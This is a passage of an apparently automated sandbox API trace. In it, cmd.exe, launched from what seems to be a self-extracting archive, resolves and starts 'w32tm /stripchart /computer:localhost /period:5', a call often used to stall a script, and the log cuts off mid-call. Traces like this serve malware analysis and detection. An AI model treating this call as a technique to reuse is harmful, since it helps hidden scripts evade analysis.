_wcsicmp (_String1="FOR", _String2="w32tm") returned -17 [0139.744] _wcsicmp (_String1="FOR/?", _String2="w32tm") returned -17 [0139.744] _wcsicmp (_String1="IF", _String2="w32tm") returned -14 [0139.744] _wcsicmp (_String1="IF/?", _String2="w32tm") returned -14 [0139.744] _wcsicmp (_String1="REM", _String2="w32tm") returned -5 [0139.744] _wcsicmp (_String1="REM/?", _String2="w32tm") returned -5 [0139.744] GetProcessHeap () returned 0x1fb1ef60000 [0139.744] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xb0) returned 0x1fb1ef794e0 [0139.744] GetProcessHeap () returned 0x1fb1ef60000 [0139.745] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x1c) returned 0x1fb1ef76d80 [0139.747] GetProcessHeap () returned 0x1fb1ef60000 [0139.747] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x94) returned 0x1fb1ef795a0 [0139.747] GetProcessHeap () returned 0x1fb1ef60000 [0139.747] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x38) returned 0x1fb1ef791a0 [0139.747] GetProcessHeap () returned 0x1fb1ef60000 [0139.747] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x18) returned 0x1fb1ef778c0 [0139.749] _tell (_FileHandle=3) returned 88 [0139.749] _close (_FileHandle=3) returned 0 [0139.749] _wcsicmp (_String1="w32tm", _String2="DIR") returned 19 [0139.749] _wcsicmp (_String1="w32tm", _String2="ERASE") returned 18 [0139.749] _wcsicmp (_String1="w32tm", _String2="DEL") returned 19 [0139.749] _wcsicmp (_String1="w32tm", _String2="TYPE") returned 3 [0139.749] _wcsicmp (_String1="w32tm", _String2="COPY") returned 20 [0139.749] _wcsicmp (_String1="w32tm", _String2="CD") returned 20 [0139.749] _wcsicmp (_String1="w32tm", _String2="CHDIR") returned 20 [0139.749] _wcsicmp (_String1="w32tm", _String2="RENAME") returned 5 [0139.749] _wcsicmp (_String1="w32tm", _String2="REN") returned 5 [0139.749] _wcsicmp (_String1="w32tm", _String2="ECHO") returned 18 [0139.749] _wcsicmp (_String1="w32tm", _String2="SET") returned 4 [0139.750] _wcsicmp (_String1="w32tm", _String2="PAUSE") returned 7 [0139.750] _wcsicmp (_String1="w32tm", _String2="DATE") returned 19 [0139.750] _wcsicmp (_String1="w32tm", _String2="TIME") returned 3 [0139.750] _wcsicmp (_String1="w32tm", _String2="PROMPT") returned 7 [0139.750] _wcsicmp (_String1="w32tm", _String2="MD") returned 10 [0139.750] _wcsicmp (_String1="w32tm", _String2="MKDIR") returned 10 [0139.750] _wcsicmp (_String1="w32tm", _String2="RD") returned 5 [0139.750] _wcsicmp (_String1="w32tm", _String2="RMDIR") returned 5 [0139.750] _wcsicmp (_String1="w32tm", _String2="PATH") returned 7 [0139.750] _wcsicmp (_String1="w32tm", _String2="GOTO") returned 16 [0139.750] _wcsicmp (_String1="w32tm", _String2="SHIFT") returned 4 [0139.750] _wcsicmp (_String1="w32tm", _String2="CLS") returned 20 [0139.750] _wcsicmp (_String1="w32tm", _String2="CALL") returned 20 [0139.750] _wcsicmp (_String1="w32tm", _String2="VERIFY") returned 1 [0139.750] _wcsicmp (_String1="w32tm", _String2="VER") returned 1 [0139.750] _wcsicmp (_String1="w32tm", _String2="VOL") returned 1 [0139.750] _wcsicmp (_String1="w32tm", _String2="EXIT") returned 18 [0139.750] _wcsicmp (_String1="w32tm", _String2="SETLOCAL") returned 4 [0139.750] _wcsicmp (_String1="w32tm", _String2="ENDLOCAL") returned 18 [0139.750] _wcsicmp (_String1="w32tm", _String2="TITLE") returned 3 [0139.750] _wcsicmp (_String1="w32tm", _String2="START") returned 4 [0139.751] _wcsicmp (_String1="w32tm", _String2="DPATH") returned 19 [0139.751] _wcsicmp (_String1="w32tm", _String2="KEYS") returned 12 [0139.751] _wcsicmp (_String1="w32tm", _String2="MOVE") returned 10 [0139.751] _wcsicmp (_String1="w32tm", _String2="PUSHD") returned 7 [0139.751] _wcsicmp (_String1="w32tm", _String2="POPD") returned 7 [0139.751] _wcsicmp (_String1="w32tm", _String2="ASSOC") returned 22 [0139.751] _wcsicmp (_String1="w32tm", _String2="FTYPE") returned 17 [0139.751] _wcsicmp (_String1="w32tm", _String2="BREAK") returned 21 [0139.751] _wcsicmp (_String1="w32tm", _String2="COLOR") returned 20 [0139.751] _wcsicmp (_String1="w32tm", _String2="MKLINK") returned 10 [0139.751] _wcsnicmp (_String1="w32t", _String2="cmd ", _MaxCount=0x4) returned 20 [0139.751] GetProcessHeap () returned 0x1fb1ef60000 [0139.751] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x420) returned 0x1fb1ef79640 [0139.751] SetErrorMode (uMode=0x0) returned 0x0 [0139.751] SetErrorMode (uMode=0x1) returned 0x0 [0139.751] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1fb1ef79650, lpFilePart=0x2e6c38ec30 | out: lpBuffer="C:\\portSession", lpFilePart=0x2e6c38ec30*="portSession") returned 0xe [0139.752] SetErrorMode (uMode=0x0) returned 0x1 [0139.752] GetProcessHeap () returned 0x1fb1ef60000 [0139.752] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef79640, Size=0x3a) returned 0x1fb1ef79640 [0139.752] GetProcessHeap () returned 0x1fb1ef60000 [0139.752] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef79640) returned 0x3a [0139.752] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff674bd96a0, nSize=0x2000 | out: lpBuffer="") returned 0x9c [0139.752] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0139.752] GetProcessHeap () returned 0x1fb1ef60000 [0139.752] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x16c) returned 0x1fb1ef79690 [0139.752] GetProcessHeap () returned 0x1fb1ef60000 [0139.752] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x2c8) returned 0x1fb1ef79810 [0139.757] GetProcessHeap () returned 0x1fb1ef60000 [0139.757] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef79810, Size=0x16e) returned 0x1fb1ef79810 [0139.757] GetProcessHeap () returned 0x1fb1ef60000 [0139.757] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef79810) returned 0x16e [0139.757] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff674bd96a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0139.757] GetProcessHeap () returned 0x1fb1ef60000 [0139.757] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xe8) returned 0x1fb1ef79990 [0139.757] GetProcessHeap () returned 0x1fb1ef60000 [0139.757] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef79990, Size=0x7e) returned 0x1fb1ef79990 [0139.757] GetProcessHeap () returned 0x1fb1ef60000 [0139.757] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef79990) returned 0x7e [0139.757] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0139.757] FindFirstFileExW (in: lpFileName="C:\\portSession\\w32tm.*" (normalized: "c:\\portsession\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38e9b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38e9b0) returned 0xffffffffffffffff [0139.758] GetLastError () returned 0x2 [0139.758] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0139.758] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\w32tm.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38e9b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38e9b0) returned 0xffffffffffffffff [0139.760] GetLastError () returned 0x2 [0139.761] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0139.761] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.*" (normalized: "c:\\windows\\system32\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38e9b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38e9b0) returned 0x1fb1ef78060 [0139.761] GetProcessHeap () returned 0x1fb1ef60000 [0139.761] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef66840, Size=0x8) returned 0x1fb1ef66840 [0139.761] FindClose (in: hFindFile=0x1fb1ef78060 | out: hFindFile=0x1fb1ef78060) returned 1 [0139.761] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.COM" (normalized: "c:\\windows\\system32\\w32tm.com"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38e9b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38e9b0) returned 0xffffffffffffffff [0139.761] GetLastError () returned 0x2 [0139.761] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.EXE" (normalized: "c:\\windows\\system32\\w32tm.exe"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38e9b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38e9b0) returned 0x1fb1ef77dc0 [0139.762] FindClose (in: hFindFile=0x1fb1ef77dc0 | out: hFindFile=0x1fb1ef77dc0) returned 1 [0139.762] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0139.762] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0139.762] GetProcessHeap () returned 0x1fb1ef60000 [0139.762] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x28) returned 0x1fb1ef76ae0 [0139.762] _get_osfhandle (_FileHandle=1) returned 0x24 [0139.762] _get_osfhandle (_FileHandle=1) returned 0x24 [0139.762] _get_osfhandle (_FileHandle=1) returned 0x24 [0139.762] GetFileType (hFile=0x24) returned 0x2 [0139.762] GetStdHandle (nStdHandle=0xfffffff5) returned 0x24 [0139.762] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x2e6c38ebd8 | out: lpMode=0x2e6c38ebd8) returned 1 [0139.764] _dup (_FileHandle=1) returned 3 [0139.764] _close (_FileHandle=1) returned 0 [0139.764] _wcsicmp (_String1="nul", _String2="con") returned 11 [0139.764] CreateFileW (lpFileName="nul" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x2e6c38eb70, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x24 [0139.765] _open_osfhandle (_OSFileHandle=0x24, _Flags=8) returned 1 [0139.765] GetConsoleTitleW (in: lpConsoleTitle=0x2e6c38ec00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0139.767] _wcsicmp (_String1="w32tm", _String2="DIR") returned 19 [0139.767] _wcsicmp (_String1="w32tm", _String2="ERASE") returned 18 [0139.767] _wcsicmp (_String1="w32tm", _String2="DEL") returned 19 [0139.767] _wcsicmp (_String1="w32tm", _String2="TYPE") returned 3 [0139.767] _wcsicmp (_String1="w32tm", _String2="COPY") returned 20 [0139.767] _wcsicmp (_String1="w32tm", _String2="CD") returned 20 [0139.767] _wcsicmp (_String1="w32tm", _String2="CHDIR") returned 20 [0139.767] _wcsicmp (_String1="w32tm", _String2="RENAME") returned 5 [0139.768] _wcsicmp (_String1="w32tm", _String2="REN") returned 5 [0139.768] _wcsicmp (_String1="w32tm", _String2="ECHO") returned 18 [0139.768] _wcsicmp (_String1="w32tm", _String2="SET") returned 4 [0139.768] _wcsicmp (_String1="w32tm", _String2="PAUSE") returned 7 [0139.768] _wcsicmp (_String1="w32tm", _String2="DATE") returned 19 [0139.768] _wcsicmp (_String1="w32tm", _String2="TIME") returned 3 [0139.768] _wcsicmp (_String1="w32tm", _String2="PROMPT") returned 7 [0139.768] _wcsicmp (_String1="w32tm", _String2="MD") returned 10 [0139.768] _wcsicmp (_String1="w32tm", _String2="MKDIR") returned 10 [0139.768] _wcsicmp (_String1="w32tm", _String2="RD") returned 5 [0139.768] _wcsicmp (_String1="w32tm", _String2="RMDIR") returned 5 [0139.768] _wcsicmp (_String1="w32tm", _String2="PATH") returned 7 [0139.768] _wcsicmp (_String1="w32tm", _String2="GOTO") returned 16 [0139.768] _wcsicmp (_String1="w32tm", _String2="SHIFT") returned 4 [0139.768] _wcsicmp (_String1="w32tm", _String2="CLS") returned 20 [0139.768] _wcsicmp (_String1="w32tm", _String2="CALL") returned 20 [0139.768] _wcsicmp (_String1="w32tm", _String2="VERIFY") returned 1 [0139.768] _wcsicmp (_String1="w32tm", _String2="VER") returned 1 [0139.768] _wcsicmp (_String1="w32tm", _String2="VOL") returned 1 [0139.768] _wcsicmp (_String1="w32tm", _String2="EXIT") returned 18 [0139.768] _wcsicmp (_String1="w32tm", _String2="SETLOCAL") returned 4 [0139.768] _wcsicmp (_String1="w32tm", _String2="ENDLOCAL") returned 18 [0139.768] _wcsicmp (_String1="w32tm", _String2="TITLE") returned 3 [0139.768] _wcsicmp (_String1="w32tm", _String2="START") returned 4 [0139.768] _wcsicmp (_String1="w32tm", _String2="DPATH") returned 19 [0139.768] _wcsicmp (_String1="w32tm", _String2="KEYS") returned 12 [0139.768] _wcsicmp (_String1="w32tm", _String2="MOVE") returned 10 [0139.768] _wcsicmp (_String1="w32tm", _String2="PUSHD") returned 7 [0139.768] _wcsicmp (_String1="w32tm", _String2="POPD") returned 7 [0139.768] _wcsicmp (_String1="w32tm", _String2="ASSOC") returned 22 [0139.768] _wcsicmp (_String1="w32tm", _String2="FTYPE") returned 17 [0139.769] _wcsicmp (_String1="w32tm", _String2="BREAK") returned 21 [0139.769] _wcsicmp (_String1="w32tm", _String2="COLOR") returned 20 [0139.769] _wcsicmp (_String1="w32tm", _String2="MKLINK") returned 10 [0139.769] _wcsicmp (_String1="w32tm", _String2="DIR") returned 19 [0139.769] _wcsicmp (_String1="w32tm", _String2="ERASE") returned 18 [0139.769] _wcsicmp (_String1="w32tm", _String2="DEL") returned 19 [0139.769] _wcsicmp (_String1="w32tm", _String2="TYPE") returned 3 [0139.769] _wcsicmp (_String1="w32tm", _String2="COPY") returned 20 [0139.769] _wcsicmp (_String1="w32tm", _String2="CD") returned 20 [0139.769] _wcsicmp (_String1="w32tm", _String2="CHDIR") returned 20 [0139.769] _wcsicmp (_String1="w32tm", _String2="RENAME") returned 5 [0139.769] _wcsicmp (_String1="w32tm", _String2="REN") returned 5 [0139.769] _wcsicmp (_String1="w32tm", _String2="ECHO") returned 18 [0139.769] _wcsicmp (_String1="w32tm", _String2="SET") returned 4 [0139.769] _wcsicmp (_String1="w32tm", _String2="PAUSE") returned 7 [0139.769] _wcsicmp (_String1="w32tm", _String2="DATE") returned 19 [0139.769] _wcsicmp (_String1="w32tm", _String2="TIME") returned 3 [0139.769] _wcsicmp (_String1="w32tm", _String2="PROMPT") returned 7 [0139.769] _wcsicmp (_String1="w32tm", _String2="MD") returned 10 [0139.769] _wcsicmp (_String1="w32tm", _String2="MKDIR") returned 10 [0139.769] _wcsicmp (_String1="w32tm", _String2="RD") returned 5 [0139.769] _wcsicmp (_String1="w32tm", _String2="RMDIR") returned 5 [0139.769] _wcsicmp (_String1="w32tm", _String2="PATH") returned 7 [0139.769] _wcsicmp (_String1="w32tm", _String2="GOTO") returned 16 [0139.769] _wcsicmp (_String1="w32tm", _String2="SHIFT") returned 4 [0139.769] _wcsicmp (_String1="w32tm", _String2="CLS") returned 20 [0139.769] _wcsicmp (_String1="w32tm", _String2="CALL") returned 20 [0139.769] _wcsicmp (_String1="w32tm", _String2="VERIFY") returned 1 [0139.769] _wcsicmp (_String1="w32tm", _String2="VER") returned 1 [0139.769] _wcsicmp (_String1="w32tm", _String2="VOL") returned 1 [0139.769] _wcsicmp (_String1="w32tm", _String2="EXIT") returned 18 [0139.769] _wcsicmp (_String1="w32tm", _String2="SETLOCAL") returned 4 [0139.770] _wcsicmp (_String1="w32tm", _String2="ENDLOCAL") returned 18 [0139.770] _wcsicmp (_String1="w32tm", _String2="TITLE") returned 3 [0139.770] _wcsicmp (_String1="w32tm", _String2="START") returned 4 [0139.770] _wcsicmp (_String1="w32tm", _String2="DPATH") returned 19 [0139.770] _wcsicmp (_String1="w32tm", _String2="KEYS") returned 12 [0139.770] _wcsicmp (_String1="w32tm", _String2="MOVE") returned 10 [0139.770] _wcsicmp (_String1="w32tm", _String2="PUSHD") returned 7 [0139.770] _wcsicmp (_String1="w32tm", _String2="POPD") returned 7 [0139.770] _wcsicmp (_String1="w32tm", _String2="ASSOC") returned 22 [0139.770] _wcsicmp (_String1="w32tm", _String2="FTYPE") returned 17 [0139.770] _wcsicmp (_String1="w32tm", _String2="BREAK") returned 21 [0139.770] _wcsicmp (_String1="w32tm", _String2="COLOR") returned 20 [0139.770] _wcsicmp (_String1="w32tm", _String2="MKLINK") returned 10 [0139.770] _wcsicmp (_String1="w32tm", _String2="FOR") returned 17 [0139.770] _wcsicmp (_String1="w32tm", _String2="IF") returned 14 [0139.770] _wcsicmp (_String1="w32tm", _String2="REM") returned 5 [0139.770] GetProcessHeap () returned 0x1fb1ef60000 [0139.770] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x218) returned 0x1fb1ef79a20 [0139.770] GetProcessHeap () returned 0x1fb1ef60000 [0139.770] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xa0) returned 0x1fb1ef79c40 [0139.770] _wcsnicmp (_String1="w32t", _String2="cmd ", _MaxCount=0x4) returned 20 [0139.770] GetProcessHeap () returned 0x1fb1ef60000 [0139.770] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x420) returned 0x1fb1ef6a5e0 [0139.770] SetErrorMode (uMode=0x0) returned 0x0 [0139.770] SetErrorMode (uMode=0x1) returned 0x0 [0139.771] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1fb1ef6a5f0, lpFilePart=0x2e6c38e4a0 | out: lpBuffer="C:\\portSession", lpFilePart=0x2e6c38e4a0*="portSession") returned 0xe [0139.771] SetErrorMode (uMode=0x0) returned 0x1 [0139.771] GetProcessHeap () returned 0x1fb1ef60000 [0139.771] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef6a5e0, Size=0x3a) returned 0x1fb1ef6a5e0 [0139.771] GetProcessHeap () returned 0x1fb1ef60000 [0139.771] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef6a5e0) returned 0x3a [0139.771] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff674bd96a0, nSize=0x2000 | out: lpBuffer="") returned 0x9c [0139.771] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0139.771] GetProcessHeap () returned 0x1fb1ef60000 [0139.771] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x16c) returned 0x1fb1ef79cf0 [0139.771] GetProcessHeap () returned 0x1fb1ef60000 [0139.771] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x2c8) returned 0x1fb1ef6a630 [0139.771] GetProcessHeap () returned 0x1fb1ef60000 [0139.771] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef6a630, Size=0x16e) returned 0x1fb1ef6a630 [0139.771] GetProcessHeap () returned 0x1fb1ef60000 [0139.771] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef6a630) returned 0x16e [0139.771] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff674bd96a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0139.771] GetProcessHeap () returned 0x1fb1ef60000 [0139.771] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xe8) returned 0x1fb1ef79e70 [0139.771] GetProcessHeap () returned 0x1fb1ef60000 [0139.771] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef79e70, Size=0x7e) returned 0x1fb1ef79e70 [0139.771] GetProcessHeap () returned 0x1fb1ef60000 [0139.771] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef79e70) returned 0x7e [0139.771] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0139.772] FindFirstFileExW (in: lpFileName="C:\\portSession\\w32tm.*" (normalized: "c:\\portsession\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38e220, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38e220) returned 0xffffffffffffffff [0139.772] GetLastError () returned 0x2 [0139.772] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0139.772] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\w32tm.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38e220, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38e220) returned 0xffffffffffffffff [0139.772] GetLastError () returned 0x2 [0139.772] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0139.772] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.*" (normalized: "c:\\windows\\system32\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38e220, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38e220) returned 0x1fb1ef78060 [0139.773] FindClose (in: hFindFile=0x1fb1ef78060 | out: hFindFile=0x1fb1ef78060) returned 1 [0139.773] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.COM" (normalized: "c:\\windows\\system32\\w32tm.com"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38e220, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38e220) returned 0xffffffffffffffff [0139.773] GetLastError () returned 0x2 [0139.773] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.EXE" (normalized: "c:\\windows\\system32\\w32tm.exe"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38e220, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38e220) returned 0x1fb1ef78420 [0139.773] FindClose (in: hFindFile=0x1fb1ef78420 | out: hFindFile=0x1fb1ef78420) returned 1 [0139.773] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0139.773] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0139.773] GetConsoleTitleW (in: lpConsoleTitle=0x2e6c38e780, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0139.775] InitializeProcThreadAttributeList (in: lpAttributeList=0x2e6c38e6a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2e6c38e5a0 | out: lpAttributeList=0x2e6c38e6a0, lpSize=0x2e6c38e5a0) returned 1 [0139.775] UpdateProcThreadAttribute (in: lpAttributeList=0x2e6c38e6a0, dwFlags=0x0, Attribute=0x60001, lpValue=0x2e6c38e58c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2e6c38e6a0, lpPreviousValue=0x0) returned 1 [0139.775] GetStartupInfoW (in: lpStartupInfo=0x2e6c38e630 | out: lpStartupInfo=0x2e6c38e630*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0139.776] GetProcessHeap () returned 0x1fb1ef60000 [0139.776] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x20) returned 0x1fb1ef76c60 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0139.776] _wcsnicmp (_String1="COPYCMD", _String2="sfxcmd=", _MaxCount=0x7) returned -16 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="sfxname", _MaxCount=0x7) returned -16 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="sfxpar=", _MaxCount=0x7) returned -16 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="sfxstim", _MaxCount=0x7) returned -16 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0139.777] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0139.777] GetProcessHeap () returned 0x1fb1ef60000 [0139.778] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef76c60) returned 1 [0139.778] GetProcessHeap () returned 0x1fb1ef60000 [0139.778] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x12) returned 0x1fb1ef77640 [0139.778] lstrcmpW (lpString1="\\w32tm.exe", lpString2="\\XCOPY.EXE") returned -1 [0139.780] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\w32tm.exe", lpCommandLine="w32tm /stripchart /computer:localhost /period:5 